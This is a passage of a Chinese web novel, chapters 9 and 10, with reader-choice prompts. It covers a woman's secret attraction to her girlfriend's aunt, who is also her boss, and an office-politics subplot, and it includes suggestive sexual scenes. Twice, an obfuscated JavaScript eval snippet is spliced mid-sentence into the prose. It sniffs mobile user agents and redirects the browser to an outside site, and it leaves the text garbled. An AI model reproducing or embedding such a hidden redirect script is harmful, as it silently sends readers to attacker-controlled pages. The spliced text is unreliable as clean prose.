晏宁没有仔仔细细品味这茶,找王姨要了些其它吃的,盘腿坐在沙发上吃了起来。 薯片被咬得嘎吱嘎吱响,姜幼棠蹙着眉心望了晏宁一眼。 晏清许家里有薯片,奇怪,晏清许喜欢吃薯片吗? 等了二十分钟,还不见人,姜幼棠有些着急。 “王姨,姑姑去哪里了,怎么还不回来?”按捺不住,姜幼棠开口问。 王姨答道:“她去万象城买东西了,这里离万象城近,我就想着她马上就回来了。” 姜幼棠搜了下万象城,离这里确实近,不到三公里。 买什么东西要去那么久? //【选择时间】 --请帮姜幼棠做出选择-- A:拿上晏宁车钥匙,去万象城找晏清许 B:待在屋子里,老实等待 C:实在是坐不住,在屋子里转悠 D:去一楼大堂,坐在那里边工作边等晏清许回来 --请帮姜幼棠做出选择-- 9. 第 9 章 越想,越坐立难安。 “你不担心你姑姑吗?”姜幼棠转头问。 晏宁从盒子里拿出曲奇塞进嘴里嚼了两下,摇头:“担心她什么?我姑姑从来没让人担心过,她还是小孩子吗?” 她吃着曲奇,酥酥的渣从嘴角蹦出来,落在昂贵的沙发上,接着继续挑选怀里的零食,拆开一盒威化饼干填进嘴里。 威化饼干掉下的渣被她随手拨到地上,她歪在沙发上拿起手机盯着屏幕看,懒洋洋道:“我们才是小孩子,慢慢等她就好了,棠棠姐,来,你也吃。” 晏宁伸手递来一块威化饼干,姜幼棠接下。 翻看了下,是BABBI的威化饼,威化饼中的爱马仕。 姜幼棠知道晏清许对吃很讲究,不好吃的从来不会出现在手里。 以前晏清许常投喂她,像哄小孩似的,给她吃各种各样的零食,糖果,饼干,小点心,包装纸上印着各种各样的语言文字,难以拼读出来。 她不懂那些品牌,塞到手里就吃,吃得嘴都刁了。 做被晏清许在意的小孩是最幸福的,她还想继续做晏清许的孩子。 但现在,只能趁着晏宁的光做小孩。 指腹摩挲了下袋子,她没吃,小心装进包里,单手撑着沙发起身在这套房子里转。 整套房子的采光很好,客厅正对着阳台,那处有一整扇落地窗,可以清晰地看到美丽的钱塘江。 白色纱帘半遮着窗户,稍微深一点的窗帘层层叠叠堆在两边,她走过去站在窗边往远处眺望,想着晏清许在放空的时候是不是也如自己这般,看着远处的好景,心情就会好许多。 从客厅走出来,右边是餐厅,放着一张卡里冰玉白桌,桌上只有一个装着白桔梗的花瓶。 素净得很,花都挑冷淡的来。 厨房挨着餐厅,跃过一个隔间是保姆房,还有两个工作间,一个设备间。 走出餐厅往前走,再往右拐,是一个家庭厅,这里比客厅布置得稍微温馨点,影音设备也更齐全。 瞄到矮几上的笔记本电脑,她走过去坐在沙发上歪着躺下,这个沙发很明显比客厅的更柔软,晏清许平时应该会在这里观影或是办公。 翻过身趴在沙发上嗅嗅,嗅不出什么新鲜。 整套房子里都盛着晏清许的香,特有的檀木香味,烟氲烈而不燥,沉而不闷,甜暖清冽。 趴了会儿起身,继续巡视这套房子。 家庭厅左边是一间屋子,她想着可能是卧室便进去了,开门却发现是一间书房。退出来往另一间房子走去,开门,屋子里摆了各种各样的藏品。 姜幼棠抿着唇继续开其他屋子的门,要么放了许多衣服和包,要么放了些收藏品,竟都不是卧室。 正奇怪着,出门再往一个廊道走,竟发现有一个室内楼梯。 很明显是打通了上下楼,所以,这么贵的房子,晏清许还买了两层? 踩着楼梯上去,快速扫视二楼的布置。 二楼明显比一楼要空旷许多,客厅较为宽大,观景倒是挺舒适。 踩着拖鞋在楼上走来走去,发觉楼上有两间卧室,剩下的几个房间要么是空的,要么放了些名贵的东西。 有明显居住痕迹的卧室门在开着,姜幼棠在门口踌躇片刻,径直走了进去。 这间卧室采光很好,整体偏黑白色调,落地窗旁放着一个深棕色的小茶几,上面有一瓶罗曼尼康帝,还有一个高脚杯。 她走过去坐在地毯上,小心拿起那瓶红酒倒在杯子里,顾不上观察酒的成色,直接往嘴里灌。 很醇厚的味道,浓浓的果味,酒体丝滑细腻,舌尖飘着优雅的花香。 灌了一口,又把杯子里剩下的喝完,小心拿兜里的纸巾擦了擦嘴,继续欣赏这间卧室。 卧室里没放什么东西,衣服也不在这间放着,姜幼棠走来走去,最后脱掉外套钻进被窝里躺了会儿。 把被子盖在头上,深吸一口气。 嗯,全是晏清许的味道,好香。 随意翻滚两下,隐隐约约听到楼下有交谈声。 晏清许回来了? 姜幼棠瞬间从被窝里坐起来,慌慌张张把床单和被子铺好,拎着拖鞋光脚跑出去,小心踩着楼梯下楼。 好在洗手间在这个方向,匆匆把拖鞋放在地上踩着走到客厅,打眼瞧见从万象城回来的晏清许。 晏清许听到响动,也望了过来,滟滟的灰蓝眼珠,漂亮得无可挑剔。 心里又闷又快乐,姜幼棠视线挪了挪。 晏清许身穿浅灰色紧身针织连衣短裙,下身是颜色稍浅的黑丝袜,搭了一双黑色尖头细高跟。 衣服束得过于紧,完美的肉//体好似从画里弹了出来,上的满,下的盈,毫不费力地从水里溢出。 那针织裙子堪堪遮住臀部,也不知道里面穿了什么,完全看不到内/衣的痕迹。 是穿了质量好的无痕内/衣,还是根本没穿? 定定地看着,姜幼棠双月退不自然地并拢。 鲜嫩的芽在往外生长,一团烧起来的火焰从喉咙到小月复燃了起来,那颗小小的芽逐渐膨胀,往晏清许身边靠近的时候,涨得难受。 晏宁快步拉姜幼棠过来,两人站在一起。 王姨把礼物拿过来,晏宁接下,一脸歉意道:“姑姑,上次宴会,真的不好意思,给你丢脸了。我知道错了,我当时那个样子,只是怕你不认可我和棠棠姐的感情。有你的认可,我才会对这段感情放心,所以着急了些。” 晏宁把怀里的盒子往前推,低下头继续道歉:“姑姑,真的太抱歉了!我给你准备了礼物,给你赔罪!我不想和你的关系变得那么糟,我希望你原谅我的幼稚!” 姜幼棠低着头不说话,当然,这时候也不需要她说什么。 晏清许瞥了眼姜幼棠,嗅到淡淡的酒味,没顾得上分辨什么,转而收下晏宁的礼物,沉吟片刻说:“闹都闹过了,以后这件事不要再提。你想和谁恋爱就和谁恋爱,我不会管你。你既然知道自己幼稚,就应该明白什么样的场合该说什么样的话。至于原不原谅你,宁宁,我很忙,没空和你玩家家酒,你做好你的事,不要烦扰我。” 她打开盒子,里面装着一个花朵形状的胸针,看了眼样式,合上盒子让王姨收起来放楼上藏物室。 收到的礼物太多,只能放着,没空一件一件摆出来,或者去追溯是谁送的。 “你来我家,我也没有什么好款待你的,王姨的饭快做好了,你……你们吃完就离开,我稍晚会儿还要出门。”晏清许去玄关那处换拖鞋,再冷淡地踩着离开。 望着丰盈的身影,姜幼棠垂着的手臂不自觉地抚了抚自己的身体,却觉得有些空。 低头一看,身上只剩紧身针织衫和短裙。 外套呢? 外套还在晏清许屋子里! 晏清许回卧室看到自己的外套的话,肯定知道自己进过她房间。 等等。 不行,暂时不能这样,否则以后永远没办法来晏清许家了! “姑姑!”几乎是瞬间,姜幼棠飞也似的跑了起来,急急冲向晏清许。 晏清许回过头,瞳孔骤然缩小。 姜幼棠像横冲直撞的大型犬恶劣地扑咬过来,砰的一声撞在她身上,两人应声倒地。 后背结结实实磕在地上,晏清许疼得闷哼一声,姜幼棠整个人压在她身上,那张脸盖在她胸口,一头散乱的发在胸前散开。 好闷。 好香。 贴合着柔软,姜幼棠有些喘不过气,只好从晏清许胸前移开。 撑起身子低下头看身下的晏清许,垂落的长发扫过晏清许的下颌,总是隐在刘海下的眼睛泛起星星点点的光。 姜幼棠咬住唇,几乎是坐在晏清许身上,默默地望着身下的人。 月退与月退交叠着,手随意放在晏清许腰上。 手指动了动,腰部一阵轻微的痉///挛,腿也往上弓//起。 晏清许……是有感觉吗? 姜幼棠望向晏清许,美人眉心微蹙,脸颊泛起一小片粉。 晏清许……是有感觉的吧。 她咬着唇,指腹轻轻摩挲裹住晏清许身体的针织衫,像池中的一尾鱼,悄然游动。 而后,她的腿被晏清许的腿撞了撞,似乎在提醒。 “你要做什么?”晏清许吐出几个字,语气不大好。 想到卧室里的外套,姜幼棠声音发颤:“我……我也有礼物送你,别走。” 晏清许抿紧唇线:“先从我身上下去。” 姜幼棠点头:“好。” 抬腿从晏清许身上下来,起身,姜幼棠看着慢慢坐起来的晏清许,弯腰伸出手:“姑姑,我扶你起来。” 晏清许没有理会她,她夺过晏清许的手,径直把人拉起来。 稍稍使力,晏清许站起身子。姜幼棠往晏清许身边站了站,两人靠得有些近。温热的手还覆在晏清许手上,她低下头,没有快些放开。 “放手。”晏清许忽然说。 姜幼棠依依不舍地放开手,沉默地站在晏清许身旁,好似一只想要依偎又不敢依偎的雏鸟。 晏清许皱眉,“你不是要送我礼物?” 姜幼棠恍然:“哦,是,姑姑,你等等。” 转身拿过包里的精致小铁盒,她打开盒子给晏清许看:“姑姑,这是我送你的手工榛果巧克力,我自己买的可可豆做的,做起来还挺麻烦的。” 晏宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16832191|191196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸讶异:“手工巧克力?棠棠姐,你都没送过我手工礼物。” 说着有些泄气,拉过姜幼棠的手抱住小铁盒,从里面拿出一颗巧克力。 姜幼棠想要阻止,晏宁已经把巧克力填进嘴里。 “好吃!棠棠姐,你做得好好吃。”晏宁嚼了嚼,真挚地说着,递给晏清许一颗:“姑姑,你也尝尝,很不错。” 晏清许对上姜幼棠的视线,姜幼棠颤着双睫,沉默地望着。 片刻后,晏清许接下,填进嘴里。 浓郁醇厚的香,榛果的坚果香味和巧克力融在一起。 还挺不错。 “姑姑,怎么样?”晏宁问。 晏清许拿过晏宁怀里的盒子,盖上盖子合上,让王姨先放在冰箱里。 “还可以。”晏清许淡淡道。 王姨把巧克力放进冰箱,转头说:“可以开饭了。” 晏清许没有再回卧室的打算,“先吃饭。” 饭菜都是些家常菜,里叶莲子鸡,龙井虾仁,腌笃鲜,小汤圆,白切鹅肉。 姜幼棠坐在晏清许对面,王姨上完菜给她端米饭拿筷子,她接下,等晏清许动筷。 晏清许还没动,晏宁倒是夹了一筷子鹅肉蘸酱汁吃下,随后催促姜幼棠:“棠棠姐,快吃呀,好吃着呢。” 姜幼棠握着筷子哦了声,看晏清许动筷,才跟着夹菜吃。 低头吃两口,抬头看晏清许。 低头吃两口,抬头看晏清许,顺便看一眼身侧的晏宁。 晏宁吃饭还是有些孩子气,晏宁也爱吃东西,出去约会,晏宁总要带她吃点什么才满足。 姜幼棠每次都在想,要是跟她一起吃饭的是晏清许就好了。 昂。 现在就在和晏清许一起吃饭。 咬了口虾仁,姜幼棠再次瞄向晏清许。 猝不及防,撞上晏清许的视线。 晏清许似乎……不是很满意? “你不饿?”晏清许的筷子悬在半空,一脸冷淡地问。 晏宁抢着回答:“饿呀姑姑,我饿,我在好好吃饭呢。” 说完,继续埋头吃饭。 晏清许睨了姜幼棠一眼,不再说话。 姜幼棠瘪着嘴收回视线,认真吃饭。 饭后晏清许接了个电话,再回来便说要快些离开。 “我还有事,等下要出门,你们自己在家里玩。”晏清许简单安排着,像照顾两个小孩一样多加嘱咐,“你们回去的话,路上注意安全,冰箱里有零食,想带走就直接带走。” 晏宁摇头:“姑姑,我也有事,不在你家耽误你,我们等下就回去,就是……” 晏清许偏头问:“就是什么?” 晏宁弯着眼睛笑说:“就是也想从你家带走一点小礼物。” 以前晏宁来晏清许家,走的时候也会带走一个小礼物。 用小小的礼品,换晏清许大大的礼品,是晏宁的习惯。 晏清许摆摆手:“前面几间房子里的东西,自己挑。” 晏宁喜上眉梢,拉着姜幼棠往那几间房子里跑:“谢谢姑姑!” 还能拿件礼物回去吗? 姜幼棠被推到一间屋子里看柜子上摆放的东西,些许怅然。 做晏清许的侄女,原来会这么幸福吗? 也是,以前晏清许也经常给她带礼物来着。 这间屋子放的都是些陶瓷制品,晏宁不大感兴趣,溜达两圈便出去了。姜幼棠没那么挑剔,认真观看这些陶瓷制品。 杯子,瓶子,还有些……碗碟。 目光落在玻璃柜的一套碗碟上,花纹漂亮,配色也好看。 喜欢这个。 手指触向玻璃的一刹那,耳边传来一个声音:“你衣服怎么在我卧室。” 像被电打了一下,姜幼棠的动作停滞住。 窸窸窣窣的一阵响声,晏清许沉着脸拎起那件外套推过来。 姜幼棠呆愣地转过脸,瞥见晏清许的手腕,一截嶙峋的骨头,泛着雨日的天青。 目光低垂着不敢抬起,姜幼棠保持缄默。 晏清许冷淡出声:“我刚刚问了宁宁,她说这是你的衣服,怎么会在我的卧室?” 不敢……不敢说什么。 姜幼棠闭嘴不语。 晏清许低冷的声音加重:“说话,姜幼棠。” //【选择时间】 --请帮姜幼棠做出选择-- A:说:“你屋子太大,我迷路了……” B:说:“宁宁能随便进你屋子,我不能?” C:夺回衣服穿上,说自己要加班先走了 D:啥也不说,哭哭哭 --请帮姜幼棠做出选择-- 10. 第 10 章 晏清许注视垂头沉默的人,紧身打底衫,裹臀短裙,窄窄的皮带束在腰上,肉色打底袜的质量不错,非常贴近肤色,玄关处那双靴子应该也是这人的,搭得很合适。 看得出来是精心的打扮,比日常那副社畜模样好太多了。 所以……和晏宁约会,会展现身为女友的韵味? 捏着那件外套,布料在手里逐渐皱得看不清形状。 “说,为什么去我卧室,还把衣服留在我屋子里?”她忽高忽低的音量像冷冽的北风,吹得姜幼棠浑身打颤。 刺是尖锐、锋利的东西,划伤肌肤后第一感觉,并不是疼痛,而是皮/肉破绽,突破束缚的快乐。 疼痛是快乐的,伤疤愈合时的痒意更会带着奇异的吸引。 狗无意的挑衅会换来主人的暴怒,会换来复杂的情绪和无法描述的心理活动。像,像剧痛后,伤疤愈合时的痒意,痒到骨子里。 然而,狗也怕被主人凶。 一声,两声,又接着来,一声,两声。 “你现在是宁宁的女朋友,我跟你说过几次,她为了你闹到那种地步,我不想看到你辜负她。” “还不说话?想逃避?姜幼棠,说话!” 严厉的词句从舌尖迸发,晏清许在收尾的时候继续俯视沉默的姜幼棠。 紧身打底衫托起挺起的胸//脯,短裙很好地束起腰臀形状,还有那双又直又细的长腿,柔柔的,在心底泛了点清波。 离得过于近,所以能更好地观赏这具身子,整体不似以往瘦弱的模样,更多了些半生半熟的韵味。 是……青涩的熟女感,朦朦胧胧的,用乳白的纱遮住身子,半露不露地用小爪子勾着人。 24岁的姜幼棠,在青涩和半熟之间徘徊,是枝头上那枚惹眼的涩果。 所以6年不见,小孩子真的很听话,有在好好生活,有在好好长大。 忽然有热风吹过来,吹得眼睛干涩得疼痛起来。 小孩子长成什么模样,也与自己无关了。 她总用世事无常安慰自己,真到面对的时候,又着实不忍。 相顾无言,似乎才是最好的解决办法。 可这孩子揣着已知的答案不回答,太让人窝火。 晏清许的情绪鲜少被挑起来,声音抬高,上前一步抓起姜幼棠的手腕用力捏紧:“姜幼棠我让你说话!” 姜幼棠被这力度拽得往晏清许身前移了半寸,腕间过于疼痛,两颗小小的樱桃睡醒了,鲜嫩的芽在挤压下继续生长。 好舒服,好疼,好舒服,好疼,好舒服。 好难过,好想哭。 炽热和酉禾麻冲上头皮,姜幼棠羞耻这一瞬间太过舒服的感受,又难过为什么只能靠惹怒晏清许才能换来强烈的情绪。 淤积的泪是暮秋霏微的雨,淋淋沥沥,她两手空空,徒留相对沉默。无法形容的酸楚像被挖了一勺的醪糟,一点一点,用发酵后的咸涩往上漫。 姜幼棠吞下唾沫仰起头,两行滚烫的热泪从眼眶里流出,仍旧抿着唇不吭声。 眼泪是被规训的语言,也是困在自由下的声音。 晏清许在那两行眼泪流出时短暂地停止一切想要继续说出的语言,视线转到自己手上,她握住的手腕已经发青,发紫,好似要断了。 有太多东西搞不明白,晏清许在这沉默的眼泪里失去了所有力气。 她不是一个会被眼泪打动的人,从来都不是。 从小到大,她都冷硬,漠然,固执,刻薄,很少同情过谁。 但她见过姜幼棠的太多眼泪。 饥饿的,寒冷的,贫穷的,窘迫的,悲哀的。 饱腹的,开心的,害羞的,惧怕自己每一次从北城离开的,还有那次没机会好好说再见的离别。 她从不否认,她对流眼泪的姜幼棠,实在没办法。 晏清许收回视线丢开姜幼棠的手,冷冷出声:“行,你不说,我不追究了,但你以后再也不要来我家。” “姑姑!”晏清许的话刚说完,晏宁身上挂着两个最新款的包包风风火火跑进来,忙把流眼泪的姜幼棠往一边推,还做出一副护崽模样,“你说什么呢姑姑!你怎么不让棠棠姐来你家?她还给你做手工巧克力,她都没有给我做过!她对你这么好,你怎么还赶她走啊!” 联想到严苛的上司对下属不满意,尤其是在,这个小下属是上司侄女的女朋友后,晏宁跟炸了毛似的喊了起来:“姑姑!我不想失去棠棠姐,你不要仗着自己的权力破坏我们的关系!” 晏清许发出一声冷呵:“哦?我破坏你们的关系?” 她已经不知道该用什么语言提醒晏宁这个蠢货,又觉得,自己这把年纪和两个小孩在这里东扯西拉有失体面。 很快,她瞥了一眼流泪的姜幼棠,丢下那件外套转身离去。 “姑姑,别走。”姜幼棠抱着衣服,忽然喊出声,“我想要这个礼物,可以给我拿出来吗?” 晏清许咬着牙停下脚步。 去自己卧室偷喝酒,脱衣服,问什么都不说,临了,还伸手要礼物。 眉骨处传来阵阵痛意,眼睛周围也像被针扎似的。 真没辙了,人已经被气得要扁了。 晏清许忽然觉得,答应让这两人来自己家是个极大的错误。 气也气得说不出什么话来,晏清许转过身子去看那套碗碟,眉头紧皱:“你要这个?” 晏宁看晏清许不乐意给,急了:“姑姑,这就一套爱马仕的碗碟,又不值几个钱,你不愿意给棠棠姐吗?” 晏清许没搭理晏宁,一脸凝重地问姜幼棠:“你要来做什么?” 姜幼棠老实回答:“吃饭。” 晏清许:“给谁吃?” 姜幼棠:“我自己吃。” 哦?要用狗碗狗碟吃饭? 真有意思。 晏清许笑得有些轻蔑,让人看了极为不舒服。 晏宁看晏清许还不乐意给,生怕让姜幼棠不开心了,急得直跺脚:“哎呀,姑姑!你快给棠棠姐啊!你真小气!要个碗和碟子吃饭又怎么啦!” “你真要用它们吃饭?”晏清许再一次问。 姜幼棠笃定:“是。” 晏宁急得要跳起来:“姑姑你快给啊!快呀快呀!” 晏清许抿了抿唇没多说什么,走去另一个柜子把礼盒找出来,慢悠悠将碗碟装进去,整理好后递给姜幼棠:“拿着。” 姜幼棠知足地颔首:“谢,谢谢姑姑。” 拎着盒子,姜幼棠翘起唇角。 真好,晏清许送她的礼物。 离开晏清许家前,姜幼棠和晏宁站在门口,晏宁好声跟晏清许说:“姑姑,你们能不能和好,我下次还想带棠棠姐来你家。” 晏清许瞄了一眼姜幼棠,没吭声,抬手关上门。 砰。 被拒了。 晏宁丧气地叹口气,低下头,看身上挂了三个包。 一个是自己的,两个是从晏清许那边顺来的,赶忙扬起笑脸拉着姜幼棠往电梯处走,“棠棠姐,没事,她没有很生气地跟我们说话,就证明还有商量的余地,我会试图让咱们三个的关系好点的。” 姜幼棠拎着那套碗碟不大高兴:“现在我们都是被她讨厌的人。” “没有的事!”晏宁快速摆手,“还有回转的余地,你信我。” “我怎么信你?” 晏宁弯着眼角笑笑,拍拍那套碗碟礼盒说:“真要是不能回转,她绝对不会亲自给你包礼物。我姑姑的脾气,我最清楚了。” 姜幼棠半信半疑。 回去的路上坐在后座,百无聊赖瞥向晏宁。 晏宁在玩手机,好像在和谁聊天。 姜幼棠分辨了下,聊天人的备注是[油画—杨莉雯—crush24] crush? crush24? 再看了看,晏宁和对方聊天聊得火热。 晏宁转头,姜幼棠收回视线。 “棠棠姐。”晏宁把手机盖在自己腿上,温温柔柔地喊了一声。 姜幼棠嗯了声:“怎么了?” 晏宁一副为难的模样:“有个对我照顾有加的学姐,她生病了,自己一个人在医院里挂水好可怜,我想去照顾照顾她。” 姜幼棠不语。 晏宁瘪瘪嘴说:“棠棠姐,她生病生好几天了,嗯……我们今天反正也去姑姑家吃过饭了,改天再约着出去玩吧。喔,下个月怎么样?年底了,我带你和姑姑一起出去玩,缓和一下你们的关系。” 姜幼棠犹犹豫豫吐出几个字:“这样啊,好吧。” 晏宁一脸感动:“棠棠姐,你最好了,只有你会这么包容我,我一定会好好对你。” 姜幼棠挠挠头,微笑地嗯了声:“好,谢谢你。” 车快速驶进拥挤的街道,转头向外看去,整座枫城染上了浅浅一层黄。 夏天完全结束了,真的结束了,现在是枫城淡漠轻柔的秋。 北山街和孤山路的梧桐黄了一大半,虎跑公园那边的枫开得正艳,她想明天带姜佑安去看看。 举起被捏出紫痕的手腕,用自己的另一只手小心握了握。 好疼。 是晏清许给她掐出来的。 她舔了下唇,歪过身子垂头吻了吻那片青紫。 晚上她照旧抱着那件衬衫睡觉。 从把这件衬衫窃取回来,她便没再穿过,一直都藏被窝里抱着睡。 翻个身,疼痛愈来愈烈。 好疼。好……舒服。 她蜷缩在小小的被窝里,握住衬衫皱巴巴的衣角。 卧室沉入迷茫的朦胧,床垫低声吱呀,海上的远舟,航向雾霭重重的远方。 “晏清许……姑姑……姐姐……” 呼吸融化,泛着微甜的怅惘。 寂静的月光里,如纱雾般落下。 她洗涤所有潮湿,让喧闹归于平静。 那件洗好的衬衫晾在阳台下,滴答滴答滴着水。 滴答,滴答。 / 临近周年庆,堆在手上的工作越来越多。 之前申请了策划大赛,这段时间忙工作的时候,姜幼棠会构思一下创意,顺便和叶知允聊自己的想法。 想把案子提交上去,至少要过三关审核。 组长、总监,最后是晏清许。 话说自己的案子真的能走到晏清许面前?那么多人参加这个大赛,晏清许有心力检查每个人的案子吗? 午休时,姜幼棠简单用完餐便坐到工位上做手头上的案子。 早做完能早点忙策划大赛的事,而且[植源]项目正在筹备阶段,不过也快了。 [植源]是欧瑞即将推出的全新品牌,是S+项目。 S+项目的绩效考核比起其它项目会更漂亮点,换言之,能接手的项目级别越高,到手的工资越丰厚。 拿下更好的项目,进更好的项目组,才能拿到漂亮的工资。 当然,拿到好的项目,后面忽然被换掉也是常有的事,工资也会就此缩水。 但想要执行这个项目,必须进行内部pitch。 在姜幼棠看来,整个品牌部的所有策划岗的同事,都是彼此的竞争对手。 谁不想拿更好的项目?谁不想拿出更好的deck? 所以要争,要抢,要往上走。 忙碌之际,周恩灿拎着星冰乐坐下叹口气。 姜幼棠随口问:“怎么了?” 周恩灿忧伤道:“市场部的总监今天就要走,邪恶的Rebecca果然晋升总监了。在职场混,没点人脉真不行。” 姜幼棠手没停,回道:“人脉固然重要,但水上去的职位,终究会因为不服众被踢下来,也许温组长是靠实力呢?毕竟晏总不是省油的灯,她肯定不会挑草包上位。” “那还真不是。”周恩灿放下杯子,弯腰小声跟姜幼棠说:“棠棠姐,我这里有个八卦。咱欧瑞除了有晏总这个大总裁,还有个副总,叫商玉,是从集团那边调来的。前市场部总监就是商总的人,咱们林总监,好像跟商总关系也不错呢。” 姜幼棠微微怔了怔。 商玉,很耳熟。 好像是……晏霖森的情妇,还跟晏霖森有一个孩子,被舒若萱抚养着。 周恩灿继续说:“晏总提邪恶的Rebecca,也是想要扶自己的人,所以跟实力关系不大。水太深了,像我们这种普普通通的小员工,没混到那种地步,就不要想着升职了。” “哦,这样啊。”姜幼棠出神地感叹着,微信亮起红光。 不是别人,正是温野发来的。 姜幼棠拿过手机,在手机上聊天。 温野:[小姜,今天我升职庆功宴,来玩啊] 姜幼棠:[恭喜温总] 姜幼棠:[我有空的话肯定会过去,恭喜你升职!] 温野:[行,我到时候再给你介绍下替代我的新组长,你们后续有合作可以一起聊] 姜幼棠:[嗯,好] 整个下午姜幼棠都在忙着工作,忙到头上都渗了汗珠。 六点半,她起身拿着手机准备出门赴约,叶知允喊住她:“亲爱的,已经忙完了?下班这么早?” 姜幼棠回头说:“组长,我去吃饭吃完饭还要加班呢。” 叶知允弯着眼睛笑说:“那快点去吃饭吧,不要加班太晚哦。” 姜幼棠微笑着走出去。 温野的升职宴热闹得很,安排得也很体贴。 姜幼棠被放到3部的包间里,季时琳几人跟她打招呼,温野带着她跟大家介绍。 先前在很多案子上共事过,所以大多人她都认识。 只有一个不太认识,3部的新组长,乔漓,中分直发,皮肤白皙,瘦高,看上去不大爱说话。 她被温野安排坐在这个新组长旁边。 “小乔是我从8部挖过来的,早些时候就想让她来我们3部,现在可算来了。”温野跟姜幼棠介绍。 姜幼棠端起酒杯敬乔漓:“你好,乔组长,我是品牌部的姜幼棠,之前和温总在工作上有沟通,您组的有些项目是我负责策划,所以以后落执行的时候,可能会和你有一些工作上的交流。” “你好。”乔漓举杯,声音和样貌不太一样,更低柔一点,“温总跟我提过你,她说你业务能力很不错,希望我们以后合作愉快。” 温野招呼大家:“好,你们多熟悉熟悉,大家吃好喝好,我去其它包间了啊。” “温总再见。” “再见。” 坐下后,姜幼棠抿了下酒,味道还行,但远远不如那天偷喝晏清许的酒好喝。 不过也是,一瓶大几万的酒,肯定不一样。 “我听说你要参加策划大赛?”身侧的乔漓问道。 姜幼棠点头:“是,我去年在星美参加过,还拿了二等奖,希望今年可以拿到一等奖,如果能拿到特等奖就更好了。” 乔漓垂了垂眼,问:“星美也是一家很不错的传媒公司,里面晋升比欧瑞要好很多,至少很透明,你怎么会想来欧瑞?” 乔漓说话很直接,星美是新锐传媒企业,晋升机制确实很透明,欧瑞虽说成立也就十多年,但背靠脉络复杂的东方舟济,有这个底子在,晋升就不可能透明。 明争暗斗,是业界共识,也是全体员工的共识。 “我从星美跳过来,工资涨了1000呢。”姜幼棠挑眉道。 乔漓抿嘴笑了:“这里那么高压,给你涨1000就敢来了,你真的很容易满足。” 看乔漓说话有点和气,姜幼棠也放开了些说:“以后跳槽也有得跳,欧瑞也算顶级企业了,就当给自己履历镀金。” “这样想是没错,不过照顾好自己的身体才是最重要的。”乔漓意有所指,“你下班好像很晚,比很多人都晚,撑得住?” 忽然被关心一嘴,姜幼棠有点不知所措。 在品牌部1部,她的加班被所有人认为理所当然。 “你怎么知道我下班很晚?温总说的?”姜幼棠问。 “有时候会在很晚下班的电梯里遇到你,不过你通常一副半死不活的样子,应该不会注意到我。”乔漓打趣道,“你比你领导们忙多了,品牌部这么高压?” 姜幼棠欲言又止。 市场部吃完这顿饭会下班,温野要求的,但自己吃完饭还要回去继续工作,甚至会因为下来吃这顿饭耽误很多时间。 “有压力就有成长,成长本来就是痛苦的。”姜幼棠握着杯子说,“来欧瑞这几个月确实压力很大,但我明显感觉到我自己进步很多,也算,好事一桩?” “很好的心态,我向你学习。虽说在这里有很多无可奈何的事,但这里是大名鼎鼎的欧瑞,不停往前,得到自己想要的就好。”乔漓挑眉,静静望了姜幼棠一眼,举杯:“很高兴认识你,敬你一杯。” 姜幼棠笑着举杯:“也敬我们的大平台,敬我们的欧瑞。” 她觉得举杯很浪漫,饱含无限的祝福和憧憬,是一种充满诚挚的仪式感。 以此当作她一步步成长的进步,敬自己,敬欧瑞,敬晏清许。 // 忙忙碌碌到周年庆前一天,姜幼棠核对所有工作,确定该做的都做完了,也确定未来三天能好好享受集团周年庆。 260周年的周年庆,确实隆重些,舍得让员工快乐地休息三天。 不对,只有两天。 第一天还要去集团会议厅开一整天的会,后两天去乌镇玩什么沉浸式剧本游。 部门人走得差不多了,关上电脑准备下班,门被推开了。 林澜笑吟吟地走进来,亲昵道:“小姜,要下班啦,今天走得够早啊。” 姜幼棠握紧拳头,部门人都走光了,就自己在,还算早? “林总,有事?”她面带微笑道。 林澜走近了叹道:“是有事呀,哎哟,你申请参加策划大赛,大忙人,我都不敢找你了。” 姜幼棠忽略林澜的阴阳怪气问:“没什么敢不敢的,您来是有什么事呢?” “也没什么事,这不是要周年庆了嘛,要玩三天,大家都要开开心心的啊。”林澜开始打哑谜。 姜幼棠点头:“是啊,我第一次参加周年庆,也很期待。” “哎。”林澜忽然叹气。 好像有什么事要来了,姜幼棠问:“林总,怎么了?” 林澜一脸愁容:“6组的小张,就是张组长,手里资曼诺的小案子来不及做,我记得你之前刚来时零零碎碎做过很多项目来着。” “对。” “哎,资曼诺,就保湿精华那个,我记得你做过类似的。” 不对劲,关自己什么事,6组组长东西做不完不应该给自己组的人做吗? 姜幼棠心里有些紧张:“是做过,那个,林总,您是想要……” 林澜丧着脸说:“小张的案子比较紧急,她太忙了,顾不上,所以我就想着你来帮个小忙。” “林总,张组长的案子,我来做?这不太好吧?而且我也不是很熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16832192|191196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个项目,按理说让她组的人组才最适合。”姜幼棠委婉地推辞。 “你肯定可以做的,就是简单的数据和文字内容。”林澜挽住姜幼棠的胳膊,“小姜,这是彰显你能力的时候嘛,这次策划大赛报名的人不少呢,但最后能送到晏总手里的寥寥无几。哦,[植源]那个项目最近也在筹备了,你不是最想去这个项目组吗?嗯?” 姜幼棠顿住。 林澜用这种方式威胁自己,如此有用。 她没有理由拒绝,[植源]和策划大赛,她一个都不能失去。 不能失去的代价,就是妥协。 她好像妥协太多次了,但那又怎样呢,职场里总要用这种方式交换一些东西。 “好。”姜幼棠拢了下头发笑着说。 